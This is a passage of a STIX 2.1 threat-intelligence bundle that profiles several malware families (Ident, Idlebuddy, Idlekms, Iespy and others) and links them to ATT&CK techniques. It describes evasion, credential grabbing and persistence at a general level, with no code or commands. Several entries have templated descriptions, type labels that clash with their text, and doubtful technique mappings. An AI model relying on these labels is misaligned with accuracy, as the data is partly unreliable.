          "description": "Canonical Malware Families Catalog Technical Profile for Iczu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/iczu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f764a970-cf20-5a63-86a4-fb91faa70a8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1102767b-1a66-555f-92ce-6d1f9ab6ca02",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iczu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c468a658-e4d9-5bef-98ad-81a50373a957",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1102767b-1a66-555f-92ce-6d1f9ab6ca02",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iczu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f237d78e-d5c8-5bf7-abe4-5dbccb5e34d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1102767b-1a66-555f-92ce-6d1f9ab6ca02",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iczu exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ident",
      "description": "Trojan:Win32/Ident is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ident</b><br>To an end-user, a Ident infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ident is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ident is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ident frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ident reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ident",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ident"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f7abfcc-54bb-547f-ace4-f4061fb890a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ident exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a82138a-b32e-5252-9886-026d10879f60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ident exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7195cf37-267f-5f67-a309-b69f7f55defc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ident exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--155b927c-fe0e-571f-a483-5e2d3986b66c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ident exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4557be8-ac37-5e68-b5e5-ae9beb8b7bbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97898e73-697b-5dce-b249-fadefc99c691",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ident exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2b34a08-f563-560e-b62e-810f944adf74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Idlebuddy",
      "description": "PUA:Win32/Idlebuddy is a persistent Potentially Unwanted Program (PUA) that functions primarily as a stealthy **Cryptominer** and distributed computing node. It is designed to hijack the infected endpoint's CPU and GPU resources to mine cryptocurrency (often Monero) for the developers, specifically engineering its execution to only occur when the user is away from the computer to evade detection.<br><br><b>Understanding the Idlebuddy Threat</b><br>To an end-user, Idlebuddy is designed to be invisible. They might occasionally notice the computer's fans spinning loudly when they walk into the room, but the noise stops as soon as they move the mouse. For an enterprise, Idlebuddy represents the theft of computing resources (Cryptojacking), resulting in increased electricity costs, hardware degradation, and severely reduced endpoint lifespan.<br><br><b>Execution and Evasion Mechanics</b><br>Idlebuddy is heavily distributed via software bundlers, often hidden inside installers for free games or utility software (`T1189`). Upon execution, it installs itself deeply into the system, establishing persistence via Registry Run keys or hidden Scheduled Tasks (`T1547.001`). Its defining characteristic is its evasion routine (`T1489`). It utilizes Windows APIs (like `GetLastInputInfo`) to monitor keyboard and mouse activity. The actual mining payload (often a modified version of XMRig) is only launched when the system has been completely idle for a specific duration (e.g., 10 minutes). The moment the user moves the mouse or opens the Task Manager, Idlebuddy instantly suspends or kills the mining process, dropping CPU usage back to normal before the user can see what was causing the lag.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is resource theft and hardware wear. Host-based IoCs include EDR alerts for the creation of processes resembling known cryptominers (e.g., `ib.exe`, `idlebuddy.exe`), or sudden, massive spikes in CPU/GPU utilization that immediately drop when a user logs in. Network IoCs include continuous outbound traffic to known cryptocurrency mining pools (e.g., Stratum protocol traffic) over non-standard ports (like 3333 or 4444) when the machine is locked. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Idlebuddy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/idlebuddy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5f90a68-1af7-53c7-964f-12d33d829591",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2b34a08-f563-560e-b62e-810f944adf74",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlebuddy exhibits technique T1496 (Resource Hijacking (Cryptomining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7337cd41-8e33-5a6c-b197-e3bad22ec7e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2b34a08-f563-560e-b62e-810f944adf74",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlebuddy exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c3105f0-b652-5cfb-a87c-ea57a91edfd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2b34a08-f563-560e-b62e-810f944adf74",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlebuddy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c92cf901-80a1-5d59-98b5-ffbf9a7689f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2b34a08-f563-560e-b62e-810f944adf74",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlebuddy exhibits technique T1489 (Service Stop (Suspending the miner when Task Manager opens))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5fa0765-b9c9-5c16-8508-def21673cac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Idlecrawler",
      "description": "Adware/Bot:Win32/Idlecrawler is a sneaky class of malware designed to exploit system resources or display advertisements exclusively when the user is not actively interacting with the computer (`T1489`). Its primary goal is monetization, either through invisible ad impressions (click fraud) or by utilizing the CPU/GPU for cryptomining, while avoiding detection by the user.<br><br><b>Understanding Idlecrawler (Idle-Time Execution)</b><br>To an end-user, the computer might seem perfectly fine while they are working, but the fans may spin up and the system may become unresponsive if left alone for a few minutes. For a security team, Idlecrawler represents a sophisticated evasion technique; the malware actively monitors user input (mouse movement, keystrokes) to determine when it is safe to execute its heavy payload.<br><br><b>Execution and Evasion Mechanics</b><br>Idlecrawler is typically distributed via software bundles or malicious browser extensions. Upon execution, it establishes persistence via Scheduled Tasks or Registry Run keys. It relies heavily on Windows APIs (like `GetLastInputInfo`) to monitor system idle time (`T1489`). When the idle threshold is met (e.g., 5 minutes of inactivity), the malware spawns a hidden browser window (`T1564.001`) to perform click fraud, or launches a mining process (`T1496`). As soon as the user moves the mouse or presses a key, Idlecrawler immediately suspends or kills the resource-intensive process to remain undetected.<br><br><b>Indicators of Compromise & Impact</b><br>The impact includes degraded hardware lifespan, wasted electricity, and potential exposure to secondary malware via the hidden ad networks. Host-based IoCs include EDR alerts for rapid process creation/termination correlated with user inactivity, and the presence of hidden `chrome.exe` or `iexplore.exe` processes running as background tasks rather than interactive applications. Network IoCs include bursts of traffic to advertising networks or mining pools that only occur when the workstation is locked or idle. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Idlecrawler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/idlecrawler"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d26d51f2-8268-5ef3-8e97-68e2afbef95d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5fa0765-b9c9-5c16-8508-def21673cac8",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlecrawler exhibits technique T1489 (Service Stop (In reverse, pausing operations to evade detection when the user returns))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1dbb424-2c7d-5afb-a8b5-0f3ebe56b454",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5fa0765-b9c9-5c16-8508-def21673cac8",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlecrawler exhibits technique T1564.001 (Hide Artifacts: Hidden Window (Spawning invisible browsers for ad fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8137e190-9611-580e-8d17-1ee776d873b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5fa0765-b9c9-5c16-8508-def21673cac8",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlecrawler exhibits technique T1496 (Resource Hijacking (Using idle CPU cycles for unauthorized cryptomining))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad6ffe13-9b84-52b5-a139-26660b5eb8d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Idlekms",
      "description": "HackTool:Win32/Idlekms (and similar tools like KMSPico or AutoKMS) is a software utility designed explicitly for software piracy. It is used to illegally activate volume-licensed versions of Microsoft Windows and Microsoft Office by emulating a Key Management Service (KMS) server locally on the user's machine. While the core tool itself is a 'hacktool' rather than destructive malware, it represents a massive security risk because threat actors heavily bundle KMS activators with severe malware payloads (like ransomware and banking trojans).<br><br><b>Understanding KMS Activators</b><br>To an end-user, Idlekms is a free way to bypass Windows activation screens. They download it from peer-to-peer networks or shady software cracking forums. For a security analyst, the presence of a KMS activator is a glaring indicator of poor security hygiene and a high-risk vector. Because users *expect* their antivirus to flag 'cracking' tools, they often willingly disable their antivirus or ignore warnings to run the activator, making it the perfect Trojan horse.<br><br><b>Execution and Piracy Mechanics</b><br>The user typically downloads the activator in a password-protected ZIP file (to evade email scanners) and executes it (`T1204.002`). The tool installs a local service or Scheduled Task (`T1053.005`) that mimics a legitimate Microsoft KMS server. It modifies the Windows Registry and the Software Protection Platform (`sppsvc.exe`) to trick the OS into believing it is communicating with a corporate licensing server, granting full activation (`T1562.001`). Crucially, in many modern infections, the activator simultaneously drops a hidden secondary payload (like the Stop/Djvu ransomware or the RedLine Stealer) deep in the `%AppData%` folder (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is software piracy and the extremely high likelihood of secondary malware infection. Incident responders should monitor EDR for the execution of known KMS tools (like `SECOH-QAD.exe` or `KMSpico.exe`). A major IoC is the modification of the `KeyManagementServiceName` registry key to point to `127.0.0.1` (localhost). Examine the system for recently dropped, heavily obfuscated executables in temporary directories, indicating a bundled malware payload. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Idlekms",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/idlekms"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e774811-62cd-50f0-9beb-8e0db1875771",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad6ffe13-9b84-52b5-a139-26660b5eb8d8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlekms exhibits technique T1204.002 (User Execution: Malicious File (Running the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78302b73-ba20-5b94-a08f-ef628ffd7f03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad6ffe13-9b84-52b5-a139-26660b5eb8d8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlekms exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Tampering with Windows Activation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a002299-7391-5acd-9a20-1a97b17699f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad6ffe13-9b84-52b5-a139-26660b5eb8d8",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlekms exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Maintaining activation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a508b1f5-3f1a-5802-968e-4569d53a7787",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad6ffe13-9b84-52b5-a139-26660b5eb8d8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idlekms exhibits technique T1105 (Ingress Tool Transfer (Bundled secondary malware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Idsohtu",
      "description": "Trojan:Win32/Idsohtu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Idsohtu</b><br>To an end-user, an Idsohtu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Idsohtu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Idsohtu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Idsohtu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Idsohtu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Idsohtu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/idsohtu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bab82892-d360-52f1-a36f-0b21e7a6a02f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idsohtu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2788d743-a3b4-5c96-a252-529637c2b5bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idsohtu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b42e2d9-ff5c-5a54-a171-931486854512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idsohtu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9cd448f-2c45-57fb-9d7c-50ab568dccd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idsohtu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--633867ae-6853-5757-8dc0-f2069563961f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--583b09c8-03f0-579e-805e-432f3ec3a91a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Idsohtu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cda7d535-9856-53c0-aa6b-5214487f41ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Iespy",
      "description": "<h3>Executive Summary</h3>\nIESpy (Internet Explorer Spy) is a classification for a category of malicious Spyware and Browser Helper Objects (BHOs) specifically designed to target Microsoft Internet Explorer. Operating silently in the background, IESpy monitors all web traffic, harvests sensitive credentials, and tracks browsing habits, transmitting this confidential data to remote servers controlled by threat actors or unscrupulous marketing firms.\n\n<h3>Technical Capabilities and Evasion</h3>\nIESpy utilities leverage the extensibility of Internet Explorer to integrate deeply into the browser's rendering engine.\n\nCore surveillance capabilities include:\n<ul>\n<li><strong>BHO Integration:</strong> The malware registers itself as a Browser Helper Object (BHO) in the Windows Registry. This allows the spyware to load a dynamic-link library (DLL) into the Internet Explorer process space every time the browser is launched, gaining full access to the Document Object Model (DOM) of every page visited.</li>\n<li><strong>Credential Harvesting (Form Grabbing):</strong> IESpy intercepts HTTP POST requests before they are encrypted via SSL/TLS. This \"form grabbing\" technique allows the malware to steal usernames, passwords, and credit card details precisely as the user types them into web forms.</li>\n<li><strong>Telemetry and Tracking:</strong> The spyware continuously logs the URLs visited, search queries entered, and time spent on pages, building a comprehensive profile of the user's activity that is periodically exfiltrated.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of IESpy is a critical security breach, resulting in a total compromise of browser confidentiality. Because it utilizes form grabbing, it effectively bypasses network-level encryption (HTTPS), guaranteeing that any credentials entered in the browser have been stolen.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Isolate the machine immediately to halt the active exfiltration of browsing data and credentials.</li>\n<li><strong>Global Credential Reset:</strong> Every password utilized within Internet Explorer on the infected machine must be considered compromised and immediately changed from a secure device.</li>\n<li><strong>Registry Remediation:</strong> Standard uninstallation is insufficient. Security tools must be used to locate and delete the specific CLSID entries associated with the malicious BHO in the Windows Registry (e.g., under `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects`).</li>\n<li><strong>Browser Migration:</strong> Due to the inherent vulnerability of the BHO architecture, organizations should strictly limit or entirely deprecate the use of legacy Internet Explorer in favor of modern, sandboxed browsers (Edge, Chrome).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.IESpy",
        "BHO.IESpy",
        "Trojan.Spy.IE"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Iespy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/iespy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c903b1c7-822e-54d1-b5ba-29ba8ae2e0ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cda7d535-9856-53c0-aa6b-5214487f41ad",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iespy exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d6c9db8-4f56-5865-92cc-14264f3839da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cda7d535-9856-53c0-aa6b-5214487f41ad",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iespy exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae54e5d3-c9c5-526e-9f5d-9d09ea534f22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cda7d535-9856-53c0-aa6b-5214487f41ad",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iespy exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
